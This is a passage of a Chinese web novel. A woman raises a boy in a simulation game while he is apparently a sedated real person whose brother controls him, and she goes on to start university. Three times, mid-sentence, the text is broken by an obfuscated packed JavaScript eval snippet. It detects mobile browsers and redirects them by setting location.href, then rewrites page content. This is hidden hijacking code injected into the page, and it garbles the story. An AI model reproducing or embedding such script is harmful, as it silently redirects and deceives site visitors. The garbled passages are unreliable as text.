“家人是不会分开的，对吧？” 小可怜似乎特别执着“分开”这个问题，经常时不时就会向她确认，根据祝渺的认知，这就是太缺乏安全感的表现，所以每次回答这个问题，祝渺都会不遗余力给小可怜肯定的回答。 渺渺：“嗯，我们不会分开哒。” 不知道是不是她的错觉，给完肯定的回复后，小可怜的成长值似乎就会upup，提升得更快。 然而这一次，她给出肯定的回答过后，系统给出了新提示，吓她一跳。 一条新的数值横条跃然屏幕上，不仅给出了数值名称，还有一段介绍。 【恭喜您，成功开启精神指数。】 【精神指数】：【综合心理健康、情绪状态等因素生成的数值，心理正常、情绪稳定时，精神指数在60以上；心理状态佳，情绪积极时，精神指数在80以上。】 另，精神指数高时，可加快成长值累计速度。 祝渺一惊，居然有新的参考值了，看起来，如果之前的健康值是对生理健康的衡量，那这次的精神指数就是心理健康的衡量？ 想明白了这点，祝渺立刻点开小可怜信息面板查看。 【精神指数：80】 不错不错，看来她的鼓励式教育效果很好，给小可怜起到了非常正面的引导！以后还要再接再厉，用阳光元气正能量影响他！ 祝渺研究完数值，退出面板，又拉着小可怜玩了好几个项目。 知道小可怜害怕，于是她专挑温和的玩，什么旋转木马，小飞船……孩子玩得很嗨皮。 虽然对她来说体验感不强，但看小可怜玩得很开心，精神指数一点一点地上涨，还是很有满足感。 直到游戏里的时间进入黑夜，游乐园即将关闭。 系统再次跳出提示：【恭喜您解锁了游乐园彩蛋。】 嗯嗯？还有彩蛋？ 这还是她第一次遇到彩蛋。 彩蛋动画开始播放。 屏幕视野移动到高处，正对夜空，随着“咻——”地一声，一簇火花飞向天空，紧接着是接连不断的火花跟着，分散到夜空中，一声声炸开一朵朵银花，璀璨夺目。 居然是烟花！太太太美了！祝渺忍不住录屏。 她没看见小可怜望着天空的眼神。 此时，顾忱眼中映出璀璨的花火，心中暗想： 这么美好的瞬间，如果是梦，他宁愿一辈子都不要醒来…… 11. 第 11 章 另一座城市，某座私人医院内，豪华的病房里，一个年轻的男人躺在病床上，看起来正沉沉地睡着。大概长久未见天日，他皮肤偏白，有一小缕阳光偷摸着从窗帘空隙穿过，落在他的紧闭的双眸上，他细长的睫毛垂落，一动不动。 冰冷静谧的病房，没有护士没有医生，只有滴滴的仪器声作响。 和普通的病人不同，躺着的男人脑部连接着许多“电线”，电线那头连接着的是一台立式的仪器。 不远处的另一个封闭房间里，一个巨大的屏幕在房间中央，四周是层层监控，最大的监控屏幕上，正是沉睡的男人的房间。 中央屏幕前，站着一个穿着白色外袍，头发黑白交杂的学者。 他一边看着病房内的监控，一边盯着中央大屏的数据变化跳动。 这时，一个相貌年轻却一身成熟黑西装的男人通过人脸识别，开门走进来。 他先是瞥了一眼监控，看到屏幕中熟睡的男人，眼神闪过一丝不屑，又立刻归于平静。 他走到学者身旁，开口问：“他今天的状况如何了？” “还是和之前一样，没什么波动。” “和以前一样……告诉我，该是什么样？” 被称为博士的男人擦了擦汗，心中压下被这个男人的气势压迫的紧张感。 “一个月前，他的精神波动有些异常。早期进入催眠状态时，他的精神波动十分强烈，从数据来看应该是反抗的潜意识在作祟，但后来就逐渐平静，归于死水一般，但最近一个月……” “最近一个月怎么了？” “呃，倒也正常，只是开始间歇性不太稳定，不过波动都很小，能感知出来他或许是……多了一些情绪变化。” 但一个沉睡的人，根本不可能一直产生情绪变化。 男人皱了皱眉，眼神微厉，表示不满。 许博士见他的表情，就知道他有些微恼了。 这个年轻的老板，脾气莫名得很，阴晴不定，不知哪句话不合他意，就把他惹毛了。 许博士紧张地道：“顾总经理，你放心，虽然他的精神波动有些不同寻常的地方，但我能保证他是不会再醒来的。” “你最好是。”被称作“顾总经理”的男人展平了眉毛，眼神微眯，“我信任你的能力，许博士。希望他就这样，一直安稳地沉睡下去。” “是，一定如您所愿……” 听完，男人转身就走出了病房，只留下许博士一个人，盯着数据，记录着现在的状况。 许博士头疼地翻出了报告，里面记录这这几个月来所有的精神状态的数值，每一次产生异常波动的节点，他对此一一研究，并展开分析。 对外，这个仪器和治疗方案是被号称精神治疗最新技术的脑波技术，即利用脑电波强制干预人体的精神状态。 但事实上，只有他自己心里清楚，这不过是顾总经理安排的，对外界的一套说辞，他的实际目的其实就是想控制自己的胞弟——顾忱。 不过都是有钱人家的一些权力争夺的把戏而已。 他一点也不想参与这种斗争，只想专心做他的脑神经科学研究。 看了看监控中病床上躺着的年轻男人，叹了口气。 资本游戏的牺牲品，真是可怜…… * 自从有了精神指数后，祝渺就格外关注这个数据。她发现这个指数数值似乎是与小可怜的情绪产生正相关的，他不高兴，数值就会下跌，他高兴就会上涨。 祝渺通过数据变化才发现，小可怜的内心情绪其实是有很多变化的。 他表面上波澜不惊，一直都是个乖巧的孩子，可内心戏怕是不少。 比如，她故意说：“我最近实在太忙了，有好多事情要做哦，没有时间陪你啦。” 小可怜会回复她：“好，渺渺姐，我会照顾好自己。” 但祝渺却眼看着他的精神指数，一点一点稳定地……下降五个点。 唔，明明就是很不开心嘛。 但每当她疯狂输出彩虹屁，比如：“高中课程居然还是能门门满分，你也太优秀啦。” “嗯……你又长高了，越来越是个帅气的大男孩了！” 再配合着游戏的互动功能，【摸摸头】【抱一下】【比个心】…… 诸如此类。 祝渺鸡皮疙瘩都会掉下来，但是效果显著，小可怜表面云淡风轻，但精神指数却是在……一点一点地往上涨。 原来小可怜是个口是心非的闷骚男孩？ 发现这一点后，为了增加小可怜的精神指数，祝渺的彩虹屁也是越来越顺口了，简直能张口就来，要是现实中的朋友见到她这样，大概能大惊失色，酸得掉牙。 在80左右稳定的精神指数的加持下，小可怜的学习速度和成长速度都加快了。 祝渺每天都会点开看看数值。 目前： 【 智商80/100 情商75/100 理工天赋80/100 人文天赋71/100 艺术天赋76/100 武力70/100 】 分布均匀不偏科，谁看了不夸一句他是优秀的五好少年呢。 祝渺对这个顺利成长的过程感到非常满意，感觉很快，小可怜就会被她培养成为一名优秀的社会主义接班人。 然而，她没想到，就在小可怜快满16岁时，意外发生了。 原本他一直稳定在80左右的精神数值，在一天任务结束后，瞬间掉到了20点。 祝渺见到数值猛跌，心脏也跟着猛跳。 怎么每次数值都掉得这么突然！让人毫无防备。 不过这次，小可怜的身体健康值还是满点的。 发生了什么？ 祝渺一时间无从下手，干脆直接问他。 “你今天心情不好？发生什么事了吗？” 依照小可怜以往的个性，一向不会告诉她究竟发生了什么。 可是这次，小可怜却只是犹豫了一番，告诉了她。 “渺渺姐……我遇到他们了。” 祝渺困惑：“谁？”难道是遇到什么特殊的NPC了？ 小可怜皱眉，抿了抿嘴，“她，和她的儿子。” 祝渺在脑中翻译了一下，他说的是他的继母，和他同父异母的弟弟。 按游戏时间算，他弟弟现在应该已经七八岁了。 祝渺：“你看到了什么？” 小可怜回答：“她应该是带她儿子来上学，在学校门口。我远远看见他们一家人，她和她儿子下车，而那个男人大概是在车里，透着车玻璃窗，我隐约看到了那张脸。” 他有些语无伦次，似乎陷入了不好的回忆。 他没有继续说的是，那家人没有他之后，看起来更像是真正的一家人了。 一家三口其乐融融，带着孩子上学。 就像他从来没有在这世上出现过。 不知道为什么，他觉得自己应该对他们没有任何感情的，可这个画面却似乎刺激到他哪根神经了，他感觉似曾相识，又十分陌生…… 这令他十分不适。 祝渺：“他们看见你了吗？” 小可怜思索片刻：“好像有，但对他们来说，应该无所谓了吧。”他失踪后，他们也并没有找过他，而他也早就舍弃那个家了。 “没有就好，万一他们要追究我带走你这件事，就糟了。” 毕竟她是偷偷带走了年仅九岁的小少爷，这不等于拐卖人口嘛！这么想想，她在这可是刚人贩子啊。 这个剧情出现得一定不是巧合，后续一定还有更困难的任务在等着她。 果不其然，说完这句话，系统就跳出提示： 您已解锁【第四章羁绊】。 羁绊……这次又是意味着什么呢？ 忽然间，祝渺看见游戏中的手机logo右上角出现了小红点。 点开一看，联系人那里多了一个好友申请，并且只有“通过申请”的选项。 既然游戏只让她通过，那还让人申请什么，真是多此一举…… 祝渺吐槽着点了“通过申请”。 对方ID：陈律。 通过后，陈律立刻发来了讯息：【您好，我姓陈，是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421183|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名律师，您可以叫我陈律。】 祝渺心想，本以为对方的名字就叫“陈律”，原来这个“律”字是指职业。 陈律：【渺渺小姐，长话短说，我受人之托，调查到您之前在老宅别墅任职时，从别墅中带走了他们家年仅九岁的大少爷，这一点，您看您要主动承认一下吗？】 祝渺内心咯噔一下，满头问号。 时隔多年来找人，这什么鬼剧情。像极了电视机主角要大团圆结局了又横插一脚捣乱的配角，然后为了be而be！联想一下就气抖冷。 不对啊，她记得设定里那个夫人巴不得小可怜丢了吧，对那位夫人来说，小可怜消失了，她应该比谁都高兴啊，要不然也不会这么久才找到人。 除非找小可怜的人并不是虐待他的夫人，而是那位活在背景板里不顾他生死的父亲。 提示选项： 【 A：承认 B：不承认 】 祝渺进退两难，直接承认？还是挣扎一下？ 她想了想，觉得结果应该都是一样的，于是选择了B。能挣扎，则再挣扎一下吧。 渺渺：【不好意思，不太清楚您说的是什么事呢？】 陈律：【渺渺小姐，您也没必要装傻，我们已经跟踪到了大少爷的住所，并取得了您与大少爷共同生活的证据。】 提示选项： 【 A：道歉 B：质问 】 祝渺选择B，于是消息发出：【你想做什么？】 陈律：【我没有恶意，我只是代替董事长来和您沟通，希望您明日就将少爷带回老宅，我们将支付您一笔抚养费，感谢你对少爷的照顾。这是他父亲，也就是董事长的意思。】 祝渺再次觉得意料之中，可即使是他所谓的父亲来寻，又能怎么样呢？如果不是他的漠视，想必小可怜也不会遭受继母猖狂的虐待，也不会这么久了才磨磨唧唧要把人带回家。 提示选项： 【 A：周旋 B：拒绝 】 祝渺心道，开什么玩笑，她养大的孩子，怎么可能这么送回那个鬼地方受折磨？果断选择B，直接拒绝。 渺渺：【我不会同意的。】 陈律：【渺渺小姐若是不同意这个解决方案，那就抱歉了，我们会以绑架罪起诉你，让你归还孩子的抚养权。你不要忘了，少爷还未成年，而你不是他的法定监护人。到时候，你将一无所有。】 陈律：【希望你好好考虑，明天再给我答复。】 祝渺气得从床上“蹭”地一下坐起来。 这个狗游戏，居然还想夺走她养孩子的权利？！ 祝渺又仔细看了看陈律师说的话。 少爷还未成年，而她不是他的法定监护人…… 哦，这个章节任务就是因为小可怜还没能成功升级到18岁才触发的吧？！ 只要小可怜满18岁，成年了，他就是民事行为能力人，可以自主决定自己的来去…… 突然一下get了，这根本就是NPC来催进度了吧！！ 说到底，这个章节的难点是，她必须给小可怜快速成长的时间才行。 关闭手机聊天界面，画面跳回了和小可怜面对面的视角。 “发生了什么？渺渺姐，是他们找到我们了吗？” 小可怜担忧地看着她，似乎是察觉到了什么。 祝渺老实告诉了他事情经过：“所以，你想回去吗？” 小可怜摇摇头，可又有些不确定地问：“渺渺姐……你会把我送走吗？”他用那双乌黑深邃的眼睛看着他。 祝渺：“你说什么呢，我怎么可能舍得把你送回去。” 小可怜似乎松了一口气，他露出一个安慰她的微笑，眉眼如一弯月牙：“嗯，我记得，渺渺姐说过的，我们是家人，我们会一直在一起。” 在他的心中，他们才是一家人。 那座别墅再大再豪华，却没有渺渺；这座公寓再小再简单，却有他和渺渺这么多年的回忆。 有渺渺的地方，对他来说，才是家。 12. 第 12 章 夜晚，静谧的房间。 顾忱睁开了眼，从床上爬了起来，轻手轻脚地走到他们公寓的大门前。 他想亲自去找他那个所谓的名义上的父亲，亲自把这件事解决。 ——无论成功与否。 渺渺为了他，抛下自己原来稳定的生活，带着他毅然决然地离开，已经是他十足的幸运。能够和渺渺共度这些年，对他来说，已经像是偷来的人生。 他不想渺渺再为他的事情担忧和为难，那样的话，他会良心不安。 当然，他的心底也有一丝微微的说不上来的恐慌，或许是害怕……害怕渺渺真的会妥协，抛弃他离开。 那样的结果，他无法承受，如果真的要面临这样的结局，他宁可自己骗自己。 打开这扇门，他就可以从家里出去。 ——理论上应是如此。 可是，他伸出手去，试图拧动把手，打开这扇门，这扇门却纹丝不动。 这不是错觉，他是真的打不开门，这也就意味着，他无法自己走出这里。 心跳猛然加速。 这似乎……已经不是他第一次遇到这个问题。 这件事发生在几个月前，他再次意识到，自己似乎很久没有见到渺渺了，而他长这么大，竟然也从来没有想过自己可以主动去找她。 于是，那次，他并不是乖乖待在家里等着她回来，而是生出了强烈的去找她的念头。 他走到门前，想要打开门，可是尝试着拉开房门，无论他用多大的力气，始终没法打开这扇门。 这件事实在太过奇怪了，这让他觉得脊背发冷。 脑中一闪而过的想法告诉他，不是他打不开这个门，而是他不能接触外面的世界…… 然而就在意识到这件事的下一刻，他的大脑一阵刺痛，仿佛一阵强烈的电流直击他的脑海。 就在那一瞬间，他的记忆就开始流失，他似乎又……逐渐淡忘这件事。 他在做什么？他要做什么？ 他的大脑一片空白，回过头，呆呆站在原地，继续等待渺渺回家。 从这之后，每当他恢复一次意志，他就忍不住尝试一次，虽然屡屡失败，但他还是没有妥协。 这是那个控制他意志和身体的东西，对他的枷锁，可他一直没有放弃过反抗。 从前他麻木，他心灰意冷，可现在，他有了渺渺。 即使他和这个世界存在隔阂，可渺渺……渺渺她是真实的，这一点他一直坚信着。 有一种强烈的感知在告诉他。 她是他人生中的唯一变量，在这个灰暗的世界里，她是唯一瑰丽的色彩。 渺渺承诺过他，会一直陪着他，有渺渺在，他就始终怀有希望，能摆脱这一切的束缚。 顾忱站在门前，呆呆看着这一切，脑中闪过这些乱七八糟的想法。 片刻后，脑海一片空白，眼神逐渐涣散。 他在这里做什么？ 想不起来了。 于是转身折返，躺下睡觉。 夜色中的一场小变故，一切重新归于平静。 * 不在线的日子，祝渺并不知道游戏里发生了什么。 这两天每次她打开屏幕，都要苦恼卡住的剧情怎么进行。 为了能让小可怜不要受制于人，她必须要想办法让小可怜赶紧升级才行。 可升级需要时间，她又必须想办法留出时间来让小可怜提高成长值。 该怎么做呢？ 如果是现实中……她忽然想起自己，她当年为了摆脱顾家牵制，做成的决定——那就是逃。 可这是在游戏里，逃个锤子逃。 这时，小可怜对她道：“渺渺姐，你怎么了？这些天你好像都不是很开心。” 小可怜总是特别敏锐，于是她给小可怜发消息：“我在想，要是能带着你离开这里就好了。” 小可怜：“离开？是说逃离这个城市吗？” 祝渺：“是啊，这就叫逃避可耻但有用！” 小可怜：“那如果我那个父亲真的对我们造成威胁……渺渺姐，你会放弃我吗？” 哎呀，原来还是让小可怜担心了！他其实什么都知道！ 祝渺：“我当然不会放弃你，我会带着你一起走。” 小可怜：“为什么？” 祝渺：“这哪有什么为什么，只要是一家人就不会分开，无论生活在哪里，哪里就是家呀。” 她和她爸爸祝召年就是这样，无论生活到哪个城市，他们都很快乐，因为只要他们一起就是家。 小可怜没有再回答她，不知道在想什么。 所以她并不知道，小可怜此时正因为她的话沉浸在巨大的喜悦之中。 渺渺说，他们是一家人……而一家人是永远不会分开的。 祝渺又开始四处查找通关的关键线索，点着点着她就发现，屏幕底下的地图logo就亮起了小红点。 怎么回事，地图又有更新？ 上次是游乐园，这次又是什么？ 好奇地打开一看，祝渺双眼放大。地图居然出了一座新城市！从新城市具备的建筑地标来看，基础设施和现在的城市是差不多的。 这个地图的更新，不正与她的想法不谋而合——逃！ 这是个什么心想事成地图！ 只不过，依照她的推断，逃离这里一定是有代价的，这游戏才没有这么好心呢。 祝渺试着点击新城市，系统跳出提示：您的背包商品数量超过十件，无法前往。 果不其然，没有那么容易走，甚至还要清她背包商品？祝渺点开了背包，玩了近两个月，她已经积累下不少东西了，背包里有起码近百样商品。 一部分是食物、药品等消耗品，没法一下子使用完，还有一部分是使用中的非消耗品，比如家具、饰品，这些她都只能选择出售，可出售只能换回一点成本，远不及当初买入的售价。 这游戏！真的狗啊！她第n次骂了这句话。 手机logo又出现小红点，祝渺点开，是陈律再次发来消息。 陈律：【你考虑得怎么样了？渺渺小姐。】 陈律：【董事长只愿意再给一天时间，明天中午十二点前，你若是再不主动将少爷带回老宅，董事长将派人直接接走少爷，并且，您将收到法院传票——我劝您一句，您是斗不过董事长的。】 说完，没有再给祝渺回话的权利，屏幕顶端出现了倒计时，目前是23:59:59，正在一点点减少——她的时间还剩24小时。 第一次出现这样的玩法，祝渺皱起眉。 现在的难点有两个。 首先，不知道新地图是什么环境，物价和现在会不会差得很大，其次，她也无法确定更换城市是不是完成任务的正解。 她想了想，对于物价，她现在还有15万金币的存款，卖掉背包里的东西，总共能凑到20万，而且她还能赚到不错的工资，所以应该不用太过担心……至于第二个问题，能不能完成任务，她现在也没有其他选择了。 于是，她卖掉背包里的东西，再次留下了几样必需品——哦，还留下了一直放在小可怜床头的兔子趴趴玩偶。 整理完，时间还剩23小时，还很充裕。 此时，小可怜正在半掩着的房间门后看着她，直到她收拾完，他才走出来。此刻他的心情似乎又有些焦虑不安，祝渺注意到，他的精神数值刚才有了一波猛涨，然后又开始往下掉了两个点。 小可怜道：“渺渺姐，你收拾行李……是要离开吗？”不是刚刚说，他们是一家人永远不会分开的吗？难道这么快，她就改变了主意吗？ 祝渺一听就知道他在不安什么，点击选项【摸摸头】，对他说：“不是我，是我们，我们一起逃离这里。” 小可怜瞳孔微微放大：“我们真的要一起离开这里？” “没错……我怎么都不想让你回去，所以准备带着你一起离开啦。” 小可怜微微沉下双眸，沉默一会儿，忽然对渺渺说：“渺渺姐，你可以抱我一下吗？” “好呀。”祝渺点击选项【抱一下】，给了小可怜一个拥抱。 抱完，小可怜的精神指数噌噌又长了一大波。 她猜测，小可怜一定是觉得自己要丢下他一个人走了。 哎，这孩子，怎么这么敏感，老是想太多呢？怎么表决心他都这么不安，看来以后更要多说一些让他能够放心的话了！ 和小可怜交流完，祝渺就携带小可怜，点击了地图里的新城市。 系统提示：【前往新城市需购买机票，花费1万金币，请问是否选择购买？】 祝渺：…… 行行行，买买买。 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421184|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一块飞往新城市，在飞机上，看着窗外白云蓝天，仿佛要迎接另一个未来。 系统提示：【第四章羁绊】进度已完成100%，恭喜你解锁新成就：治愈。获得奖励：10万金币。 太好了！前往新城市就是任务正解！ 居然就这么简单！ 不仅完成了任务，还额外获得了10万金币，那她就有30万了。 只要不是物价贵得离谱，他们就依然能过得很好！ 然而，一语成谶，祝渺没想到，新城市的物价，还真是贵得更离谱了…… 落地后，和上一次逃离老宅进入主城区一样，祝渺带着小可怜来到了市中心。 找到了房屋租售中心，普通商品房出租一个月就要五千至八千金币，而高级公寓要一到二万。 祝渺：…… 通货膨胀都没你这么会涨！ 这次没有钱买公寓了，想起自己买下的那间公寓就心疼。 看了一眼小可怜的年龄，他已经是个还差几天就满16岁的少年了，要养他到18岁，他们就要住两年，租一套高级公寓两年的花费是24-48万，那也是可以接受的。 于是，祝渺再次选择了高级公寓，只不过这次只能租了。 不过这间公寓没有让她失望，进家门以后，竟然是和之前差不多的布局，只要再按她的想法买些家具布置一下，就又能恢复他俩温暖的小家了。 她对装修房子很有干劲，贵的东西没有买，便宜的先布置上了。比如墙纸，地毯，摆设...... 和小可怜一起把房子装饰完，看着和之前差不多的房子，非常满意。再来一次从头开始也没有怎么难嘛。 小可怜道：“我们的rainbowroom呢？” 祝渺想了想，哦对，她之前的家刚入住时挂上过这块名牌，差点忘了。 于是又重新购置一块挂上，输入【rainbowroom】，挂上后，满意地点了点头。 祝渺对小可怜道：“开心吗！” 小可怜看着牌子，嘴角微微勾起，点了点头：“开心。”有她在，这个家还是一样的家。 祝渺看着小可怜表面云淡风轻，精神指数却默默涨到了90点。 又满意地笑了笑，心满意足地退出了游戏。 祝渺不仅是在游戏里要前往新城市，现实中也是。 他们开学早，她很快就迎来了开学的日子。 和游戏里只能带十件东西可不同，她可以带上一堆大包小包，还可以提前把行李寄到学校。 她踏上高铁站的时候，祝召年在路边一脸不舍地和她依依惜别。 祝渺挥挥手，转头潇洒地进了高铁站。 她上辈子也就活到大学刚毕业，就出意外过世了，恢复记忆后就来到了小说里，还没来得及完成自己的人生规划。 所以她有些庆幸自己的穿越，可以有机会让她重新来一次人生，有机会去实现自己的梦想。 两个小时后，她提着行李箱，到了学校门口。 正是开学季，校门口人山人海，入学的学生们提着行李箱和大包小包，大部分有父母陪同。 大家首先要到自己学院的专属区域报道，提交入学资料，查询宿舍在哪，领了学生卡后，就可以进入宿舍放行李了。 祝渺手上行李不多，就拎了一个小行李箱，背了一个书包。 穿过人山人海，顺利找到了新闻系的报道区域。 几个学长学姐正坐在报道区，为桌前报道的学生翻查着信息。 排了一会儿队伍，就轮到祝渺了，她把资料递给学长，学长抬头一看她的脸，忽然就愣住了，眼里露出讶异的神色。 低头看了看身份证信息，抬头道：“原来你就是祝渺。” 说完，才笑了笑，“我们在群里聊过天的，你好，我是刘宇。” 祝渺这才想起来，她见过他的照片，不过穿着黑西装站在舞台上的样子，和身着便装的模样还是有些差别的，她一时间没认出来。 “我想起来了，学长你好呀。”祝渺打了个招呼。 周围人一听见祝渺的名字，都纷纷好奇凑了过来，坐在刘宇身边的学长也转过身来看她。 “我听过你的名字！原来你那个传说中的学妹！” 祝渺：？？？ 呃，她怎么就成“传说”了…… 13. 第 13 章 “你别太介意，新生入学都是一年最热闹的时候，大家就……活泼了点。” 刘宇给祝渺带路前往宿舍楼，顺便解释了“传说”一事的来龙去脉。 原来她还没入学，那张照片一出，就已经被喊成了“系花”。 在她之前，还有两位相貌出众的学姐曾在入学时被同学们戏称为“系花”，可这两位学姐都在入学没多久后就选择了转系。 于是他们系被人开玩笑：系花流失率百分百。 祝渺入学前，一张照片惊艳了班里同学，于是一传十十传百，流传各群之间，许多同学都知道了，新闻系有位非常漂亮的女生要入学。 刘宇道：“系花校花这种说法，也就是个噱头，新同学入学大家比较闹腾，等到开学上课了，这阵风就过去了。” 祝渺点点头，归结了一下原因：“还是假期作业太少，太闲了。” 刘宇被她逗笑，正好也快到宿舍楼了，他就和祝渺道别，继续回去工作了。 祝渺加了刚才几个学长学姐的微信，找到自己宿舍后，她坐下打开手机，一位学长发来消息。 这位学长苦口婆心：【学妹啊，你可千万不能转系啊，虽然我们系就业路子是窄了点，工作是难找了点，工资也是相对低了点……但，我们还是有很多优势的啊。】 祝渺：…… 这位学长，你真的不是在劝退她吗？ 她回复：【好的，我不会转系的^_^】 由于祝渺姓氏拼音开头是Z，排在班级名单最后一个，所以她的宿舍是混住的，根据名单，她要和另外三个心理学系的女生一起住。 又因为不同系报道时间不同，宿舍里还没人来。 于是祝渺便把宿舍打扫了一下，把行李箱里的东西收拾了出来，铺好床，出门将寄过来的快递也搬进宿舍，又是一通拆箱整理。 等她收拾完，已经累得气喘吁吁。大夏天的，开了空调也依然热，她擦了擦汗，才坐下拿出手机继续玩游戏。 已经是下午了，她今天还没打开游戏呢。 她退出游戏前，小可怜已经被她安排去新学校上课了，因此现在正在上课状态。 祝渺便去熟悉新地图，新地图和旧地图并不完全一致，有很多新场景，她当务之急是在这座新城市重新找一份工作，于是她到处晃，找到一家新闻社在招聘新闻主编。 这个不错，和她专业对口。 于是成功应聘，开始做游戏任务赚钱。 “咦，你也玩这个游戏呀！” 祝渺正专心玩游戏，被说话的女生吓了一跳，她抬起头来，是一个绑着高马尾的女孩，应该就是她的室友。 女生叫安月，是个北方姑娘，名字温柔，个子却很高挑。一进门，她就看到她的新室友在玩一款熟悉的游戏。 这款游戏内测版发放的人数并不多，祝渺也没有特意去关注其他人玩得怎么样，她只想自己体验。 祝渺惊奇：“你也抽中了内测版？” 安月点头，“对啊，不过我只玩到他15岁，就没再继续了，开学前已经卸载啦。” “为什么？” “就是……感觉和主角互动不起来，有些无聊，一直在想办法赚钱，再玩我就要氪金了。” 得想办法赚钱或者氪金是真的，如果想要优质些的吃穿住行，一百万虚拟币根本不够花多久，但互动不起来……？ “智能对话功能很好用啊，怎么会互动不起来呢？” 她没事就和小可怜聊天交流，虽然他话不多，但这是他人设性格如此，完全不会突兀和无聊，反倒让她觉得很真实自然。 安月对此感到困惑，“智能对话？那是什么？” “就是和主角任意对话。说起来这家游戏公司的ai技术还挺厉害，和主角对话很流畅，简直和真人聊天一样。” 安月对此表示震惊。 看起来安月并没有这个功能，难道是她没有触发这个功能？ 祝渺问：“你是不是错过了一个主角生日的任务奖励？” 安月却仍一头雾水，“不会吧，我根本没遇到这个任务，算啦……我已经填完官方的测评问卷了，所以无所谓啦。” 祝渺也不再问，看来这个功能不是每个人都有呢，或许她的版本比较特别？ 想到这，她倒还挺开心的，这样和她互动的小可怜就是独一无二的。 其他两个室友也纷纷到了，一个叫鲍敏敏，一个叫曹珂，都是本省的女孩，性格也都很活泼友善，一进来就盯着祝渺的脸猛夸她好看。 给祝渺一种仿佛被变态盯上的即视感…… 鲍敏敏一脸笃定：“女生就是更爱盯美女啊！” 几个女生刚刚认识，于是热烈地互相交流着自己之前的家乡学校，爱好习惯等等。 说到日常的爱好时，祝渺道：“平时就爱看看小说玩玩游戏……” 曹珂好奇：“你玩什么游戏？” 没等祝渺回答，安月就抢答：“这题我会，她和我一样玩养成游戏哈哈！” “懂了，你们喜欢养成系男友哦～” 祝渺听了连摇头：“我养的是儿子，不是男友！” “懂的懂的，养大了就养歪成男友了嘛！” 祝渺想象了一下，小可怜长大以后，从喊自己“渺渺姐”变成喊自己“宝贝”“亲爱的”的样子…… 不行不行，他可不能变这么油！ 祝渺肯定道：“我确信，我养的是儿子。” 安月接过话去，“渺渺她可能养的是男孩没错，反正我爱养的是男人！” “看不出来，你玩的挺花啊……” “过奖过奖。” 一直到饭点，她们几个一块去食堂吃了晚饭，回到宿舍时，各班级已经在宿舍楼下发放军训套装了。 “天啊，怎么明天就军训啊……”安月猛女落泪，“明天是个大晴天，气温37度，大家做好防晒准备吧，还有鞋垫！” “第一天就这么热，怕是要倒下一批人。” 想到明天的艰难生活，祝渺也有些悲从中来，决定早早洗洗睡觉。 躺上床，她按照惯例睡前打开游戏。 明天开始她可能就很难玩游戏了，她准备提前安顿好小可怜，比如给他报满后续的课程，以及准备好足够的食物放进冰箱。 小可怜看着祝渺，“渺渺姐……你又要走吗？你要去哪里？” 没想到小可怜这么敏感，祝渺思索了一下，代入现在的角色职业，打字输入：“新工作需要时不时出差啦，明天有篇新闻报道需要去一个环境比较恶劣的地方，天气又热又闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421185|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 小可怜一脸担忧，“那里安全吗？这么辛苦，可以不去吗？” 祝渺：“不可以不去啦，放心那里很安全。” 小可怜沉默一会儿，“好……渺渺姐路上小心。”又补充一句，“一定要及时回来。”不要离开我。 祝渺：“好。” 说完，仔细看了看小可怜现在的模样，黑色的头发，精致的眉眼，低眉时温顺，蹙眉时凌厉，画风最精致的是双眸，眼里好像有大海星辰，闪着情绪的波动。 他身形高挑清瘦，整个人的形象介于成年男人和少年之间——她很爱给他买各色类型的服饰搭配，他简直就是个行走的衣架子，怎么穿都好看。 他这年纪已经上高中了，少年感十足，像极了少女漫画的男主角。 脑中浮现白天室友说的“养大了就养歪成男友了嘛”，心中像是一根弦被人崩了一下，赶紧挥去脑中的想法。 小可怜帅是帅啦，可是她注入的感情不是这个方向啊！ 而且现在这个剧情……完全没有粉红泡泡嘛。 她走的这条线，应该是养成根正苗红好少年，读书成为高材生，毕业成为社会精英的那种事业线！ 祝渺忍不住又去看了一眼游戏简介，确信没有提到恋爱养成游戏没错，才仿佛松了口气。 怎么……好像还有点小失望呢。 难道，符合她的口味应该是乙女向恋爱游戏？ 抱着乱七八糟的想法，祝渺早早进入了梦乡。 第二天一大清早，就被室友叫醒，穿起军装去了操场集合。 时间还早，但太阳一出，大家就已经感受到了一股热浪席卷而来。 刚放完轻松的暑假，大多学生刚从空调房出来，一下子难以适应这种酷暑，纷纷叫苦不迭。 祝渺也是内心叫苦，站到操场上。 军训男女分开，班上女同学都是以宿舍为单位来的，所以班上女生她都不认识，但有几个比较开朗的女生直接上来冲她打招呼。 其中一个叫吴珍琳，祝渺有印象，班群里的ID就叫琳琳。 吴珍琳知道祝渺一个人都不认识，很体贴地排队排在祝渺身边。 